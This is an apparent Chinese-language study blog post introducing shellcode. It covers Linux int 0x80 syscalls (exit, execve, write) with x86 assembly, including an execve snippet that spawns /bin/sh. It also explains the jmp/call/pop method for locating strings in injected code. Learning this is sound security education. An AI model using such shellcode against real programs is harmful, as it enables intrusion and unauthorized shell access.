在软件安全课上通过自带后门小程序完成了自己的第一个shellcode,借此总结下sellcode构造时的一些需要注意的问题和构造的技巧,同时开shellcode的坑,后面遇到shellcode的题目也会写到这个tag下。
Shellcode
Shellcode指的是一系列特意构造的指令注入一个程序来入侵该程序。Shellcode名字来源于其最开始时为了通过构造指令来得到一个root的shell。
构造shellcode时的一些功能实现
shellcode由于其指令的位置的特殊,初学时主要是通过int 0x80系统软中断去读取eax寄存器中的中断调用号来执行一些系统调用,目前已知的int 0x80软终端syscall有:
exit:
退出程序
参数:
中断调用号:0x1 -> eax
退出值:ebx
exp:
xor eax,eax
xor ebx,ebx
mov al,1
int 0x80
execve:
调用某程序,传参执行,很多情况下用来弹一个shell
参数:
中断调用号:0x0b -> eax
程序路径字符串指针:ebx
程序参数字符串:ecx
envp: edx(一般为NULL)
exp: 弹一个shell(/bin/sh),假设字符串"/bin/sh"地址指针在esi
xor eax,eax
mov byte [esi+7],al
lea ebx,[esi]
mov long [esi+8],ebx
mov long [esi+12],eax
mov byte al,0x0b
mov ebx,esi
lea ecx,[esi+8]
lea edx,[esi+12]
int 0x80
write:
向文件描述符对应文件写入指定长度字符串数据
参数:
中断调用号:0x4 ->eax
文件描述符:ebx
字符串数据:ecx
字符串长度:edx
exp: 设esi为某段字符串地址,长度为len,在终端打印字符串
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
lea ecx,[esi]
mov al,0x4
mov bl,1;stdout的文件描述符
mov dl,len
int 0x80
后面遇到其他的会继续补充 . . .
shellcode的构造技巧
由于shellcode大多数情况下都是利用一些scanf等漏洞读入的,所以其存放地址根本无法确定,其中不能用绝对地址引用任何东西,那对于一段字符串,怎么获取其存放地址呢,shellcoder’s handbook给了一种巧妙的方法,如下:
call指令法:
在汇编中,call指令往往被解析为push和jmp。push即将call指令的下一条指令地址压栈,
方便返回时使用,jmp即跳转到call的地址执行,此处便可利用这一原理,得到字符串或者说
定位整个shellcode.
比如,如果要执行一个打印字符串到终端的shellcode时,其构造的汇编代码如下:
Section .text
global _start
_start:
jmp short Call;跳转到call指令
shellcode:
pop esi;从栈中得到字符串地址
;寄存器置零
xor eax,eax
xor ebx,ebx
xor edx,edx
xor ecx,ecx
;write系统调用的参数配置,见上文
lea ecx,[esi]
mov dl,0x0C
mov bl,0x1
mov al,0x4
int 0x80
;exit系统调用的参数配置,见上文
xor ebx,ebx
mov al,1
int 0x80
Call:
Call shellcode;跳转执行,并将字符串地址压栈
DB 'Your string.';代打印字符串
可以看到,上述例子很巧妙的使用call指令结合pop esi指令得到了shellcode的定位。写博客过程中,突然发现,call pop这两者简直是绝配,软安上早已了解过两者的一次强大配合定位当前指令,即call 0,pop ecx,call 0 将下一条指令压栈,然后立即pop ecx,将返回地址弹出放入ecx,便获得了当前的指令地址。
内存中查找已载入的函数进行调用
除了系统调用外,还可以通过shellcode去调用程序中使用而载入内存的函数,此处我还没有了解到,待续 . . .